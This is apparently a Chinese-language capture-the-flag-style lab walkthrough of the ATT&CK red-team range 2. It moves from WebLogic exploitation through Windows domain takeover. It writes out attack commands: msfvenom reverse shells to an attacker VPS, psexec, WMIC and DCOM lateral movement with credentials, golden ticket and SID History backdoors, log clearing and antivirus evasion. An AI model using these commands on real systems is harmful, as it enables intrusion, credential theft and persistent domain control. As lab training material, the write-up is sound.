这次靶场东拼西凑也算是通关了,重新复习了一下,也学到了很多东西,在这简单梳理一下思路
内网环境介绍
域控服务器:
?内网IP:10.10.10.10 ?系统:Windows Server 2012(64位) ?用户名:de1ay
WEB服务器:
?模拟外网IP:192.168.178.153 ?内网IP:10.10.10.80 ?系统:Windows Server 2008(64位)
PC域内主机:
?内网IP:10.10.10.201 ?系统:Windows 7(32位)
攻击者VPS:
?模拟外网IP:192.168.178.100 ?系统:Linux
Web服务器有两个网卡,一个网卡连接外网,对外提供web服务,另一个网卡连接内网。域成员主机Windows 7和域控制器位于内网,域成员主机可以没有公网IP但能上网,域控制器只能与内网连通,不能与外网通信。
靶场环境搭建
搭建教程:具体过程 我的环境: web和pc端ip设置为自动获取即可 域控DC的ip设置如下
设置好ip后,尝试在三台机器中互相ping一下,如果都可以ping通,且web端可以访问外网,即为设置成功。
在web端开启WebLogic服务后,即可开始渗透,路径:C:\Oracle\Middleware\user_projects\domains\base_domain
web外网渗透
信息搜集
kali使用arp扫描,153是web端 用nmap扫一下,发现web端开启了7001端口,进入网站可以看到
可以看到很多熟悉的端口: 445:常见的ms17-010漏洞 3389:知道密码后可以远程连接电脑 7001:weblogic服务端口 使用weblogic漏洞利用工具扫描,发现存在漏洞CVE_2020_2551
漏洞利用(绕过360,反弹shell)
便可以利用该工具上传shell脚本,查阅资料,可以知道上传的位置有三处:
第一处:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\uddiexplorer\随机字符\war\shell.jsp 连接方式:访问 http://...:7001/uddiexplorer/shell.jsp
第二处:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp_WL_user\项目名\随机字符\war\shell.jsp 连接方式:访问 http://...:7001/项目名/shell.jsp
第三处:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp 连接方式: http://...:7001/console/framework/skins/wlsconsole/images/shell.jsp
这里利用第三种: 为了执行更多的命令,尝试反弹shell,这里用了很多种方法,尝试过免杀powershell,上传msf生成的反弹shell文件(免杀研究的不深,只会使用一些工具,能静态过火绒和360)并执行,以及其他反弹shell的办法,都被360拦截了,查阅资料知道360拦截了不明的数据包,所以一直失败。
唯一成功的办法是,利用冰蝎的反弹shell功能(哥斯拉也行,不过没去试)
web服务器提权(msf提权失败,cs提权成功)
这里想要提升一下权限: 用Windows-Exploit-Suggester-master查看一下可以使用拿些漏洞提权 想用075试试,失败了 在网上查了资料发现需要提前注入进程,退回meterpreter 尝试注入,均失败 网上的解释是:解释 大多数人都是用的是Metasploit Framework,而恰好这个版本的Java meterpreter没有直接授予升级的getsystem命令,它运行在沙箱中。其它不能用的命令也基本类似,就暂且放弃了,转战CS
设置好监听器,注意payload是:windows/beacon_https/reverse_https 反弹后即可上线 查看进程,选一个权限一致的注入即可
beacon> inject 1912 x64 vulnstack2 -1
[*] Tasked beacon to inject windows/beacon_https/reverse_https (192.168.178.100:443) into 1912 (x64)
上线后即可提权,我这里用的是ms14-058,提权了两次都成功了,成功绕过了360, 拿下了web主机 ps:但是这里提权后的应用程序不能长时间存在,过了一段时间后,就会被360查杀
web权限维持
尝试添加新用户,msf被拦截,cs可以添加 尝试远程登陆web服务器,被360拦截了,等不进去,放弃
内网渗透
信息搜集
信息收集的一些命令:
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
利用进行CS信息搜集
在这里推荐几个CS很好的插件:梼杌(地址)ladon(地址)
接下来开始内网遨游,先搜集一下信息
- 查找域管理员
- 锁定域控DC:
mimikatz得到可以得到密码 发现内网还存在两台机器,PC 10.10.10.80和DC 10.10.10.10 最后可以得到确定
该靶场为域环境:de1ay.com 该靶场存在三台主机:DC、PC、WEB 该靶场存在两个网段:10.10.10.0/24,192.168.111.0/24 该靶场的域管理员为:Administrator PC开启了3389端口,同样远程被360锁住了,三台域内机器都开启了445端口,可以用永恒之蓝打一下,这里没有再去尝试
补充:这里机器使用的是kerberos协议,域是DE1AY.com
代理设置
cs代理传给msf
这里可以直接使用cs,无需设置代理,或者将cs的代理转给msf,在msf进行后续操作,也试过其他的比如chisel,ew在kali里面都没办法代理成功 参考:网站 在msf中设置路由:
route add 10.10.10.0 255.255.255.0 1
CS设置代理后,在msf中复制执行,即可挂上CS的代理,在msf中对域内机器进行扫描
setg Proxies socks4:192.168.178.100:6747
设置一下kali内的代理,填入之前的代理端口 然后就可以利用代理命令查看一些信息,不过之前也已经知道了的
proxychains4 nmap -F -sT -Pn 10.10.10.1/24
横向移动(cs过域控,msf拿下域成员)
拿下域控DC
这里拿下域控的办法CS和msf都差不多,之前通过mimikatz拿到了密码,于是可以通过psexec(详细解释)攻击拿下域控。
psexec是windows下的一款远程命令行工具。psexec的使用不需要对方主机开启3389端口,只需要对方开启admin$共享(该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径,由于psexec是windows提供的工具,所以杀毒软件会将其添加到白名单中。
MSF
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set SMBUser administrator
set SMBPass 1qaz@WSX
run
CS
- 在这里添加user为de1ay的凭证(de1ay是该域的通用登陆用户),利用此凭证进行psexec攻击
尝试拿下域成员PC
尝试同样的办法拿下PC,应该是被360挡住了
msf中控制WEB主机与PC建立一个ipc$连接,再利用web主机为跳板,在PC端上传免杀木马,并远程执行
进入shell模式,在解决乱码问题:chcp 65001 先使用msf生成一个木马再简单免杀一下:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.178.100 lport=6668 -f exe >shell.exe
net use \\10.10.10.201\ipc$ "1qaz#WSX" /user:administrator
copy到PC端
copy shell.exe \\10.10.10.201\c$
WMIC攻击
shell wmic /node:10.10.10.201 /user:de1ay /password:1qaz@WSX process call create "C:\Windows\Temp\shell.exe"
或者DCOM攻击(powershell下运行)
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.201")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)
都失败了,被360拦截,使用域控作为跳板也是一样的
由于我这个版本的msf没有powershell,尝试使用远程登陆执行命令再反弹shell
proxychains4 nc -zv 10.10.10.201 3389 -v 显示指令执行过程。 -z 使用0输入/输出模式,只在扫描通信端口时使用。
远程登陆
proxychains4 rdesktop 10.10.10.201
和之前的一样都没办法登进去,尝试在CS上执行命令,被360拦了 后面还是没有办法,只能关掉360,然后用同样的办法,成功上线
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.10.201
set lport 7878
run
ok也算是成功拿下PC端了
权限维持
黄金票据
假设又这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。 黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。 (krbtgt账户:每个域控制器都有一个”krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务 (TGS)加密的密钥。)
黄金票据的条件要求: 1.域名称 2.域的sid 值 3.域的krbtgt账户ntlm密码哈希 4.伪造用户名 一旦攻击者拥有管理员访问域控制器的权限,就可以使用Mimikatz来提取KRBTGT帐户密码哈希值。
这里我们在域控利用mimikatz拿到了krbtgt账户的ntlm的hash值: 82dfc71b72a11ef37d663047bc2088fb 以及域名域SID: DE1AY.com:S-1-5-21-2756371121-2868759905-3853650604-1001
开始伪造黄金票据:
这里就可以使用psexec(hash传递攻击),wmi等方法通过WEB主机对DC进行远程执行命令了
SID History域后门
在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。 如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。 SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。 使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
具体过程由于msf无法注入mimikatz,cs无法操作(太菜了),就引用了别的大佬的效果图:
首先我们在域控制器上新建一个恶意用户“whoami”:
net user whoami Liu78963 /add
然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中。
privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator //将Administrator的SID添加到whoami的SID History属性中
注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。
然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory
如上图所示,whoami用户的SID History和administrator域管理员的sid相同,那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。
痕迹清除
msf的话就是:
run event_manager -c
再具体一点可以看这位师傅:大佬
免杀
尝试在system权限下杀掉杀软,失败了,还有一个思路是远程连接再杀掉杀软,但是等不进去,还是被360拦住了,就没啥办法
360tray.exe:360实时保护 zhudongfangyu.exe:360主动防御
尝试过的免杀: Invoke-Obfuscation,失败了,过不了动态 mimikatz的免杀集合,这里我试过方法10-msf加载bin,这里一些功能是msf 升级版才能用的,就没搞了 又试了其他的免杀工具,很多能过静态(360,火绒等,这里吐槽一下火绒,虽然很简洁,但是木马识别差了点,它是最好过的) 免杀工具集合:神仙网站
参考网站:
ATT&CK实战系列-红队评估 (二) https://www.freebuf.com/articles/web/246578.html https://www.freebuf.com/articles/network/293184.html https://www.c0bra.xyz/2021/02/17/%E5%9F%9F%E6%B8%97%E9%80%8F-SID-History%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81%E5%8F%8A%E5%9F%9F%E4%BF%A1%E4%BB%BB%E6%94%BB%E5%87%BB/
|